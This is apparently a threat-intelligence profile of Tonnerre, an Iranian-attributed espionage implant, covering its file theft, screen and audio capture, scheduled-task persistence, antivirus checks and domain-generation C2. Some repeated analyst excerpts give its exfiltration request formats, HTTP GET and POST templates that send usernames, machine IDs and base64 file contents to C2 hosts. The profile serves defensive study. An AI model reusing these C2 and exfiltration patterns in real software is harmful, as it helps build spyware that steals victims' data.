Loading malware…
Tonnerre is a Delphi-written, second-stage espionage implant for Windows used by the Iranian state-sponsored threat group Infy, also known as Prince of Persia. It is selectively deployed by the Foudre downloader after attackers identify victims of intelligence value. Associated campaigns target Iranian dissidents, journalists, activists, government entities, and private-sector organizations, with victims in Iran and internationally. Infection chains have used phishing messages and malicious Office documents to install Foudre, which subsequently downloads and executes Tonnerre in a password-protected self-extracting archive.
Tonnerre collects sensitive files from user folders, removable storage, logical drives, and network drives. It captures screenshots, supports microphone recording, gathers system information, and provides remote command execution and file-management functions. Operators can upload and download files, rename or delete data, launch programs, terminate processes, and archive collected material. Microphone recording is configurable and has been disabled by default in analyzed versions. Persistence is established through scheduled tasks, with a registry-based startup mechanism available as a fallback.
Earlier versions use HTTP for metadata exchange and updates and FTP for command retrieval and data exfiltration. Newer variants support Telegram-based command and control and data transfer. Tonnerre uses domain generation algorithms to locate command-and-control infrastructure and RSA signature verification to authenticate servers and resist unauthorized takeover. Analyzed versions also check for security and system-restoration software as part of their evasion logic.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Within seven days, Tonnerre, one of the group’s malware families, had siphoned over 1,800 files from a single victim.
31 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access Spearphishing Attachment (T1566.001)
Persistence: Scheduled Task; in case it can’t add a scheduled task, as backup it adds a registers run key
The second installation stage creates a link and runs its persistence mechanism: A scheduled task for helper.exe -ex <machine GUID in hex>.
Executes commands from the C2 server... The second C2 is used to store the stolen data, and it can also provide a list of commands to run.
Persistence: Scheduled Task; in case it can’t add a scheduled task, as backup it adds a registers run key
The second installation stage creates a link and runs its persistence mechanism: A scheduled task for helper.exe -ex <machine GUID in hex>.
The second installation stage creates a link and runs its persistence mechanism: ... Registry “Run” key.
Persistence: Scheduled Task; in case it can’t add a scheduled task, as backup it adds a registers run key
The second installation stage creates a link and runs its persistence mechanism: A scheduled task for helper.exe -ex <machine GUID in hex>.
The second installation stage creates a link and runs its persistence mechanism: ... Registry “Run” key.
The malware is a rar sfx password-protected exe, downloaded and executed by the initial Foudre backdoor.
The executable is exceptionally large at 56Mb, and camouflages itself as legitimate software. Version 1 is camouflaged as “SilverSoft Speed”, and version 11 as “Synaptics”.
It also verifies that the “Deep Freeze” process is not running, otherwise Tonnerre exits immediately. Tonnerre also checks for the presence of Kaspersky endpoint protection by looking for a “Kaspersky Lab” folder under %programfiles%.
This commands gets the list of antivirus products, firewall products, running processes, network adapters and uploads it to the ftp server
This commands gets the list of antivirus products, firewall products, running processes, network adapters and uploads it to the ftp server
The timer function: Collects files measuring between 1 byte and 8mb from the current user’s: Documents folder, Desktop folder, Download folder, Contacts folder, Pictures folder | Network drives • It looks only in same folders as for logical drives
<time_string> has this format: “<year>-<month>-<day>--<hour>-<minute>-<second>”
Files are also collected from network shares using WNetOpenEnumW and WNetEnumResourceW functions from mpr.dll.
It also verifies that the “Deep Freeze” process is not running, otherwise Tonnerre exits immediately. Tonnerre also checks for the presence of Kaspersky endpoint protection by looking for a “Kaspersky Lab” folder under %programfiles%.
Steals files from predefined folders as well as external devices... Collects files from predefined folders – Documents, Downloads, Pictures and more.
Collects files from removable devices for exfiltration. This is done by monitoring WM_DEVICECHANGE messages and enumerating the devices.
Files are also collected from network shares using WNetOpenEnumW and WNetEnumResourceW functions from mpr.dll.
The files collected are archived (one archive per file) and the archives are saved in the “H” folder
Captures screen... Print screens are also collected if the screen saver is not active at the moment of checking.
Mitre Matrix TTPs ... Clipboard Data (T1115)
Records sound... Form5 – Uses the lame command line tool to record sound.
Before being saved in its corresponding folder... each file is compressed with FlexCompress (.fxc format) and the archive is password protected
If none of above cncs responded: <base_url> = md5(GET http://www.breakingnews.com/feeds/rss) ... <base_url> = md5(GET http://www.platts.com/rssfeeddetail/metals)
Finally, for command and control and exfiltration, Iranian-linked groups most commonly rely on application layer protocols (T1071), such as HTTP
A GET request is made to http://<cnc>//2016/?c=<computer_name>&u=<username>&v=<malware_version>&f=<base_folder>&mi=<machine_guid>&t=<time_string>
After connecting to the C2, Foudre downloads an encrypted self-extracting archive (SFX), and then decrypts and runs it... Tonnerre uses this C2 to... Download updates.
Like Foudre, Tonnerre uses a DGA to find its C2... Similar to Foudre, Tonnerre uses a DGA to find its C2, and verifies it as a valid server using an RSA signature.
Then, a DGA is used to get a responsive cnc; the DGA is similar to the Foudre’s DGA, but it uses other TLDs
Then it uploads each collected archive measuring at least 100 bytes and maximum 8mb to the cnc
A POST request is made to http://<cnc>/blog/?<time_string> with the following body : c=<computer_name>&u=<username>&v=<malware_version>&f=<base_folder>&txt=<base64(archive_content)>&e=EOF
Communication to the first C2 uses HTTP, whereas the second C2 communicates using FTP... Exfiltration of data which was collected based on the C2 server command is performed via FTP.
Exfiltration of data collected otherwise (built in Tonnerre logic) is performed via HTTP POST request: POST /blog/?<timestamp>
84 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
19 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.